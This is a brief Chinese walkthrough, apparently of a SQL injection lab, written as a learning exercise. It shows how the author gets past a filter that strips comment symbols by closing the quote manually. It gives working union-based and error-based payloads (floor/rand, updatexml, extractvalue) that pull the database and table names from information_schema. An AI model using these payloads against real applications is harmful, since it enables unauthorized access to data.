前期判断
先来判断注入类型
测试1‘#以及1’–+发现依旧报错,可能注释符号被过滤了。
闭合单引号注入
既然它的sql语句是这样
select …… from table where id = ''
为什么不能让它这样
select …… from table where id = '1' union select null,null,null '1'
然后找显示的行
直接注入不进去,换报错注入吧
-1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))'1
很好奇如果我用extractvalue或updatexml是不是也行呢
试验一下
' and updatexml(1,concat(0x7c,(select database())),1)'1
' and extractvalue(1,concat(0x7c,(select database())))'1
为什么不行?突然发现
select …… from table where id = '1' and updatexml(1,concat(0x7c,(select database())),1) '1'
因为没有and 所以sql不知道这“updatexml(1,concat(0x7c,(select database())),1)‘1’”是什么东西,所以要加and,突然想到前面直接注入失败也是因为没注意这个问题而导致的。
加了and以后的普通注入
源码分析
来看看源码
把#和–替换成了空,所以导致注释符失效。